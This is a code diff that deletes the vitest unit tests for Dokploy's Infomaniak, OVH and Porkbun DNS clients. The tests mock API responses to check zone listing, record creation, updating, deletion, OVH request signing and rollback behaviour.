@@ -1,486 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { infomaniakClient } from "@dokploy/server/utils/dns/infomaniak";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const ikSuccess = (data: unknown) => jsonResponse({ result: "success", data });
const ikPage = (data: unknown, page: number, pages: number) =>
jsonResponse({ result: "success", data, page, pages });
const ikError = (description: string, status = 400) =>
jsonResponse(
{ result: "error", error: { code: "not_authorized", description } },
false,
status,
);
const config = {
providerType: "infomaniak" as const,
apiToken: "ik_test_token",
};
const lastCall = () =>
mockFetch.mock.calls.at(-1) as [string, RequestInit & { method?: string }];
const lastBody = () => JSON.parse(lastCall()[1].body as string);
beforeEach(() => {
mockFetch.mockReset();
});
describe("infomaniakClient.listZones", () => {
it("exposes each domain product as a zone keyed by its name", async () => {
mockFetch.mockResolvedValue(
ikPage(
[
{ id: 1, customer_name: "example.com" },
{ id: 2, customer_name: "example.ch" },
],
1,
1,
),
);
const zones = await infomaniakClient.listZones(config);
expect(zones).toEqual([
{ id: "example.com", name: "example.com" },
{ id: "example.ch", name: "example.ch" },
]);
const [url, init] = lastCall();
// The documented endpoint is the plural one; the singular is legacy and
// returns no pagination metadata at all.
expect(url).toContain("/1/products?service_name=domain");
expect(url).toContain("page=1");
expect(init.headers).toMatchObject({
Authorization: "Bearer ik_test_token",
});
});
it("walks every page so accounts with many domains keep all their zones", async () => {
mockFetch
.mockResolvedValueOnce(ikPage([{ id: 1, customer_name: "a.com" }], 1, 3))
.mockResolvedValueOnce(ikPage([{ id: 2, customer_name: "b.com" }], 2, 3))
.mockResolvedValueOnce(ikPage([{ id: 3, customer_name: "c.com" }], 3, 3));
const zones = await infomaniakClient.listZones(config);
expect(zones.map((zone) => zone.name)).toEqual(["a.com", "b.com", "c.com"]);
expect(mockFetch).toHaveBeenCalledTimes(3);
expect((mockFetch.mock.calls[2] as [string])[0]).toContain("page=3");
});
it("stops after a single page when the response has no pagination", async () => {
mockFetch.mockResolvedValue(ikSuccess([{ id: 1, customer_name: "a.com" }]));
const zones = await infomaniakClient.listZones(config);
expect(zones).toEqual([{ id: "a.com", name: "a.com" }]);
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("propagates the API error description", async () => {
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
await expect(infomaniakClient.listZones(config)).rejects.toThrow(
"Authorization required",
);
});
});
describe("infomaniakClient.listRecords", () => {
it("rebuilds the fqdn from the relative source", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{ id: 10, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
{ id: 11, type: "A", source: "", target: "5.6.7.8", ttl: 600 },
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records).toEqual([
{
id: "10",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
},
{
id: "11",
type: "A",
name: "example.com",
content: "5.6.7.8",
ttl: 600,
},
]);
expect(lastCall()[0]).toBe(
"https://api.infomaniak.com/2/zones/example.com/records?with=records_description",
);
});
it.each([".", "", "@"])("treats a %s source as the apex", async (source) => {
mockFetch.mockResolvedValue(
ikSuccess([{ id: 12, type: "A", source, target: "1.2.3.4", ttl: 300 }]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.name).toBe("example.com");
});
it("unquotes TXT targets", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{
id: 13,
type: "TXT",
source: "_acme-challenge",
target: '"token-value"',
ttl: 300,
},
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.content).toBe("token-value");
});
it("leaves a CAA target untouched", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{
id: 14,
type: "CAA",
source: "",
target: '0 issue "letsencrypt.org"',
ttl: 300,
},
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.content).toBe('0 issue "letsencrypt.org"');
});
});
describe("infomaniakClient.upsertRecord", () => {
it("creates the record when no matching source and type exists", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 42 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
});
expect(result).toEqual({ id: "42" });
const [url, init] = lastCall();
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
expect(init.method).toBe("POST");
expect(lastBody()).toEqual({
type: "A",
source: "app",
target: "1.2.3.4",
ttl: 600,
});
});
it("updates the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 7, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 7 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "7" });
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("PUT");
expect(lastBody().ttl).toBe(300);
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 7, type: "A", source: "app", target: "1.1.1.1", ttl: 300 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "50" });
const [url, init] = lastCall();
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
expect(init.method).toBe("POST");
});
it("writes a root dot as the source for an apex record and strips the trailing dot", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 43 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com.",
content: "1.2.3.4",
});
expect(lastBody().source).toBe(".");
});
it.each([".", "", "@"])(
"matches an existing apex record stored with a %s source",
async (source) => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 8, type: "A", source, target: "1.2.3.4", ttl: 3600 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "8" });
expect(lastCall()[1].method).toBe("PUT");
},
);
it("matches the existing apex record instead of creating a duplicate", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{
id: 8,
type: "TXT",
source: ".",
target: '"v=spf1 -all"',
ttl: 3600,
},
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "example.com",
content: "v=spf1 -all",
});
expect(result).toEqual({ id: "8" });
const [url, init] = lastCall();
expect(init.method).toBe("PUT");
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/8",
);
expect(lastBody().target).toBe('"v=spf1 -all"');
});
it("quotes a TXT target on write", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 44 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "_acme-challenge.example.com",
content: "token-value",
});
expect(lastBody().target).toBe('"token-value"');
});
it("does not double-quote a TXT target that is already quoted", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 45 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "_acme-challenge.example.com",
content: '"token-value"',
});
expect(lastBody().target).toBe('"token-value"');
});
it("queries the API with a source and type filter instead of the whole zone", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("filter%5Bsource%5D=app");
expect(url).toContain("filter%5Btypes%5D%5B%5D=A");
});
it("ignores a partial filter hit rather than overwriting a different record", async () => {
// filter[source] matches substrings: asking for "auto" also returns
// "autoconfig" and "autodiscover". Trusting it would overwrite one of them.
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{
id: 61,
type: "CNAME",
source: "autoconfig",
target: "a.example.net",
ttl: 300,
},
{
id: 62,
type: "CNAME",
source: "autodiscover",
target: "b.example.net",
ttl: 300,
},
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 63 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "CNAME",
name: "auto.example.com",
content: "c.example.net",
});
expect(result).toEqual({ id: "63" });
expect(lastCall()[1].method).toBe("POST");
});
});
describe("infomaniakClient.updateRecord", () => {
it("updates the record and keeps its id", async () => {
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
const result = await infomaniakClient.updateRecord(
config,
"example.com",
"7",
{
type: "CNAME",
name: "www.example.com",
content: "example.com",
ttl: 900,
},
);
expect(result).toEqual({ id: "7" });
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("PUT");
expect(lastBody()).toEqual({
type: "CNAME",
source: "www",
target: "example.com",
ttl: 900,
});
});
it("falls back to the default ttl when none is provided", async () => {
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
await infomaniakClient.updateRecord(config, "example.com", "7", {
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(lastBody().ttl).toBe(300);
});
});
describe("infomaniakClient.deleteRecord", () => {
it("deletes the record", async () => {
mockFetch.mockResolvedValue(ikSuccess(null));
await infomaniakClient.deleteRecord(config, "example.com", "7");
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("DELETE");
});
it("propagates a delete failure", async () => {
mockFetch.mockResolvedValue(ikError("Record not found", 404));
await expect(
infomaniakClient.deleteRecord(config, "example.com", "7"),
).rejects.toThrow("Record not found");
});
});
describe("infomaniakClient.testConnection", () => {
it("resolves when the domain listing succeeds", async () => {
mockFetch.mockResolvedValue(ikSuccess([]));
await expect(
infomaniakClient.testConnection(config),
).resolves.toBeUndefined();
});
it("rejects on an invalid token", async () => {
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
await expect(infomaniakClient.testConnection(config)).rejects.toThrow(
"Infomaniak: request to /1/products?service_name=domain&per_page=1 failed: Authorization required",
);
});
});
-642
View File
@@ -1,642 +0,0 @@
import { createHash } from "node:crypto";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { ovhClient } from "@dokploy/server/utils/dns/ovh";
const textResponse = (body: string, ok = true, status = 200) =>
({
ok,
status,
text: async () => body,
}) as Response;
const ovhSuccess = (data: unknown) =>
textResponse(data === undefined ? "" : JSON.stringify(data));
const ovhError = (message: string, status = 403) =>
textResponse(JSON.stringify({ message }), false, status);
const SERVER_TIME = 1788268225;
const config = {
providerType: "ovh" as const,
endpoint: "ovh-eu" as const,
applicationKey: "app-key",
applicationSecret: "app-secret",
consumerKey: "consumer-key",
};
// Each test uses a distinct endpoint so the module-level clock-skew cache, which
// is keyed by base url, never leaks a measurement between them.
let endpointCursor = 0;
const endpoints = [
"ovh-eu",
"ovh-ca",
"ovh-us",
"kimsufi-eu",
"kimsufi-ca",
"soyoustart-eu",
"soyoustart-ca",
] as const;
const baseUrls: Record<(typeof endpoints)[number], string> = {
"ovh-eu": "https://eu.api.ovh.com/1.0",
"ovh-ca": "https://ca.api.ovh.com/1.0",
"ovh-us": "https://api.us.ovhcloud.com/1.0",
"kimsufi-eu": "https://eu.api.kimsufi.com/1.0",
"kimsufi-ca": "https://ca.api.kimsufi.com/1.0",
"soyoustart-eu": "https://eu.api.soyoustart.com/1.0",
"soyoustart-ca": "https://ca.api.soyoustart.com/1.0",
};
/** A config on a not-yet-used endpoint, so the first call always fetches /auth/time. */
const freshConfig = () => {
const endpoint = endpoints[
endpointCursor % endpoints.length
] as (typeof endpoints)[number];
endpointCursor += 1;
return { ...config, endpoint, baseUrl: baseUrls[endpoint] };
};
/** Replies to /auth/time, then to each queued API response in order. */
const mockApi = (...responses: Response[]) => {
let call = 0;
mockFetch.mockImplementation((url: string) => {
if (url.endsWith("/auth/time")) {
return Promise.resolve(textResponse(String(SERVER_TIME)));
}
const response = responses[call];
call += 1;
return Promise.resolve(response ?? ovhSuccess(null));
});
};
const apiCalls = () =>
mockFetch.mock.calls.filter(
([url]) => !(url as string).endsWith("/auth/time"),
) as [string, RequestInit][];
beforeEach(() => {
mockFetch.mockReset();
});
describe("ovhClient request signing", () => {
it("signs the request with the API server clock, not the local one", async () => {
const { baseUrl, ...cfg } = freshConfig();
mockApi(ovhSuccess(["example.com"]));
vi.spyOn(Date, "now").mockReturnValue((SERVER_TIME - 120) * 1000);
await ovhClient.listZones(cfg);
const [url, init] = apiCalls()[0] as [string, RequestInit];
const headers = init.headers as Record<string, string>;
expect(url).toBe(`${baseUrl}/domain/zone`);
expect(headers["X-Ovh-Timestamp"]).toBe(String(SERVER_TIME));
expect(headers["X-Ovh-Application"]).toBe("app-key");
expect(headers["X-Ovh-Consumer"]).toBe("consumer-key");
const expected = createHash("sha1")
.update(
["app-secret", "consumer-key", "GET", url, "", SERVER_TIME].join("+"),
)
.digest("hex");
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
vi.restoreAllMocks();
});
it("signs a request body when one is sent", async () => {
const { baseUrl, ...cfg } = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 5 }), ovhSuccess(null));
vi.spyOn(Date, "now").mockReturnValue(SERVER_TIME * 1000);
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [url, init] = apiCalls()[1] as [string, RequestInit];
const headers = init.headers as Record<string, string>;
const body = init.body as string;
expect(body).not.toBe("");
const expected = createHash("sha1")
.update(
["app-secret", "consumer-key", "POST", url, body, SERVER_TIME].join(
"+",
),
)
.digest("hex");
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
vi.restoreAllMocks();
});
});
describe("ovhClient.listZones", () => {
it("maps each zone name to a zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess(["example.com", "example.fr"]));
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([
{ id: "example.com", name: "example.com" },
{ id: "example.fr", name: "example.fr" },
]);
});
it("names the missing root right when OVH refuses the zone listing", async () => {
const cfg = freshConfig();
mockApi(ovhError("This call has not been granted", 403));
// A `GET /domain/zone/*` rule does not cover the bare `GET /domain/zone`,
// so the raw OVH message would send users looking in the wrong place.
await expect(ovhClient.listZones(cfg)).rejects.toThrow(
/missing the `GET \/domain\/zone` right/,
);
});
it("propagates the API error message", async () => {
const cfg = freshConfig();
mockApi(ovhError("Invalid signature", 403));
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
});
it("returns only the configured zone without listing every zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
expect(apiCalls()).toHaveLength(0);
});
});
describe("ovhClient.listRecords", () => {
it("resolves each id into a full record", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([1, 2]),
ovhSuccess({
id: 1,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 600,
}),
ovhSuccess({
id: 2,
zone: "example.com",
fieldType: "A",
subDomain: null,
target: "5.6.7.8",
ttl: null,
}),
);
const records = await ovhClient.listRecords(cfg, "example.com");
expect(records).toEqual([
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
},
{
id: "2",
type: "A",
name: "example.com",
content: "5.6.7.8",
ttl: 0,
},
]);
});
it("keeps the records in the order of the returned ids", async () => {
const cfg = freshConfig();
const record = (id: number, subDomain: string) => ({
id,
zone: "example.com",
fieldType: "A",
subDomain,
target: `10.0.0.${id}`,
ttl: 60,
});
mockApi(
ovhSuccess([1, 2, 3, 4, 5]),
...[1, 2, 3, 4, 5].map((id) => ovhSuccess(record(id, `host${id}`))),
);
const records = await ovhClient.listRecords(cfg, "example.com");
expect(records.map((r) => r.id)).toEqual(["1", "2", "3", "4", "5"]);
});
});
describe("ovhClient.upsertRecord", () => {
it("creates the record then refreshes the zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
});
expect(result).toEqual({ id: "9" });
const calls = apiCalls();
expect(calls[0]?.[0]).toContain(
"/domain/zone/example.com/record?fieldType=A&subDomain=app",
);
expect(calls[1]?.[1].method).toBe("POST");
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 600,
});
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/refresh");
expect(calls[2]?.[1].method).toBe("POST");
});
it("updates the existing record when content matches", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([4]),
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess(null),
);
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "4" });
const calls = apiCalls();
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/record/4");
expect(calls[2]?.[1].method).toBe("PUT");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("creates a new record when content differs from existing", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([4]),
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess({ id: 10 }),
ovhSuccess(null),
);
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "10" });
const calls = apiCalls();
expect(calls[2]?.[1].method).toBe("POST");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("omits the ttl so OVH applies the zone default", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(JSON.parse(apiCalls()[1]?.[1].body as string)).not.toHaveProperty(
"ttl",
);
});
it("writes an empty subDomain for the apex and strips the trailing dot", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "example.com.",
content: "1.2.3.4",
});
expect(apiCalls()[0]?.[0]).toContain("subDomain=");
expect(JSON.parse(apiCalls()[1]?.[1].body as string).subDomain).toBe("");
});
});
describe("ovhClient.updateRecord", () => {
it("updates in place when the type is unchanged", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess(null),
);
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
});
expect(result).toEqual({ id: "4" });
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("PUT");
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
subDomain: "app",
target: "1.2.3.4",
ttl: 300,
});
expect(calls[2]?.[0]).toContain("/refresh");
});
it("replaces the record when the type changes, since PUT carries no fieldType", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess({ id: 11 }),
ovhSuccess(null),
);
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "example.com",
});
expect(result).toEqual({ id: "11" });
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("DELETE");
expect(calls[2]?.[1].method).toBe("POST");
expect(JSON.parse(calls[2]?.[1].body as string).fieldType).toBe("CNAME");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("restores the original record when the replacement fails", async () => {
const cfg = freshConfig();
const original = {
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
};
mockApi(
ovhSuccess(original),
ovhSuccess(null),
ovhError("Invalid target", 400),
ovhSuccess({ id: 12 }),
ovhSuccess(null),
);
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
}),
).rejects.toThrow("Invalid target");
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("DELETE");
expect(calls[2]?.[1].method).toBe("POST");
// The original record is put back with its own type, target and ttl.
expect(JSON.parse(calls[3]?.[1].body as string)).toEqual({
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
});
expect(calls[4]?.[0]).toContain("/refresh");
});
it("reports the lost record when the restore also fails", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhError("Invalid target", 400),
ovhError("Service unavailable", 503),
);
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
}),
).rejects.toThrow(
/Recreate it manually: A app\.example\.com -> 1\.1\.1\.1/,
);
});
it("says the change was applied when only the zone refresh fails", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess({ id: 11 }),
ovhError("Service unavailable", 503),
);
// The replacement succeeded, so the record exists at the provider — only
// publishing failed. Rolling back would destroy correct state.
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "example.com",
}),
).rejects.toThrow(/was applied, but refreshing zone "example\.com" failed/);
});
it("does not tell the user to recreate a record that was restored but not published", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null), // DELETE de l'ancien
ovhError("Invalid target", 400), // POST de remplacement -> échec
ovhSuccess({ id: 12 }), // POST de restauration -> succès
ovhError("Service unavailable", 503), // refresh -> échec
);
const attempt = ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
});
// L'enregistrement existe de nouveau chez OVH : le recréer le dupliquerait.
await expect(attempt).rejects.toThrow(/was restored, but refreshing zone/);
await expect(attempt).rejects.not.toThrow(/Recreate it manually/);
});
});
describe("ovhClient.deleteRecord", () => {
it("deletes the record then refreshes the zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess(null), ovhSuccess(null));
await ovhClient.deleteRecord(cfg, "example.com", "4");
const calls = apiCalls();
expect(calls[0]?.[0]).toContain("/domain/zone/example.com/record/4");
expect(calls[0]?.[1].method).toBe("DELETE");
expect(calls[1]?.[0]).toContain("/domain/zone/example.com/refresh");
});
it("does not refresh the zone when the delete fails", async () => {
const cfg = freshConfig();
mockApi(ovhError("This object does not exist", 404));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "4"),
).rejects.toThrow("This object does not exist");
expect(apiCalls()).toHaveLength(1);
});
});
describe("ovhClient.testConnection", () => {
it("resolves when the zone listing succeeds", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
});
it("rejects on invalid credentials", async () => {
const cfg = freshConfig();
mockApi(ovhError("Invalid signature", 403));
await expect(ovhClient.testConnection(cfg)).rejects.toThrow(
"Invalid signature",
);
});
it("checks the configured zone instead of listing all zones", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess({ name: "example.com" }));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
const calls = apiCalls();
expect(calls).toHaveLength(1);
expect(calls[0]?.[0]).toBe(`${cfg.baseUrl}/domain/zone/example.com`);
});
});
describe("ovhClient with a configured zone", () => {
const record = {
type: "A" as const,
name: "app.other.org",
content: "1.2.3.4",
};
it("refuses record operations on any other zone without calling OVH", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const message = /restricted to the zone "example.com"/;
await expect(ovhClient.listRecords(cfg, "other.org")).rejects.toThrow(
message,
);
await expect(
ovhClient.upsertRecord(cfg, { ...record, zoneId: "other.org" }),
).rejects.toThrow(message);
await expect(
ovhClient.updateRecord(cfg, "other.org", "1", record),
).rejects.toThrow(message);
await expect(ovhClient.deleteRecord(cfg, "other.org", "1")).rejects.toThrow(
message,
);
expect(apiCalls()).toHaveLength(0);
});
it("still allows operations on the configured zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess(null), ovhSuccess(null));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "1"),
).resolves.toBeUndefined();
expect(apiCalls()[0]?.[0]).toBe(
`${cfg.baseUrl}/domain/zone/example.com/record/1`,
);
});
});
-237
View File
@@ -1,237 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { porkbunClient } from "@dokploy/server/utils/dns/porkbun";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const pbSuccess = (result: Record<string, unknown> = {}) =>
jsonResponse({ status: "SUCCESS", ...result });
const pbError = (message: string, status = 400) =>
jsonResponse({ status: "ERROR", message }, false, status);
const config = {
providerType: "porkbun" as const,
apiKey: "pk1_test",
secretApiKey: "sk1_test",
};
beforeEach(() => {
mockFetch.mockReset();
});
describe("porkbunClient.listZones", () => {
it("lists all domains as zones", async () => {
mockFetch.mockResolvedValue(
pbSuccess({ domains: [{ domain: "example.com" }] }),
);
const zones = await porkbunClient.listZones(config);
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/domain/listAll");
const body = JSON.parse(init.body as string);
expect(body).toMatchObject({
apikey: "pk1_test",
secretapikey: "sk1_test",
});
});
});
describe("porkbunClient.listRecords", () => {
it("lists records for a domain", async () => {
mockFetch.mockResolvedValue(
pbSuccess({
records: [
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: "600",
prio: "0",
notes: "",
},
],
}),
);
const records = await porkbunClient.listRecords(config, "example.com");
expect(records).toEqual([
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
},
]);
expect(mockFetch.mock.calls[0]?.[0]).toContain("/dns/retrieve/example.com");
});
});
describe("porkbunClient.upsertRecord", () => {
it("creates a record when none exists for the name/type", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "new-1" });
const [lookupUrl] = mockFetch.mock.calls[0] as [string];
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/app");
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(createUrl).toContain("/dns/create/example.com");
const body = JSON.parse(createInit.body as string);
expect(body).toMatchObject({ name: "app", type: "A", content: "1.2.3.4" });
});
it("resolves the apex domain to an empty subdomain", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com",
content: "1.2.3.4",
});
const [lookupUrl] = mockFetch.mock.calls[0] as [string];
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/");
});
it("edits the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
pbSuccess({ records: [{ id: "existing-1", content: "5.6.7.8" }] }),
)
.mockResolvedValueOnce(pbSuccess({}));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "existing-1" });
const [editUrl] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(editUrl).toContain("/dns/edit/example.com/existing-1");
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
pbSuccess({ records: [{ id: "existing-1", content: "1.1.1.1" }] }),
)
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "new-2" });
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
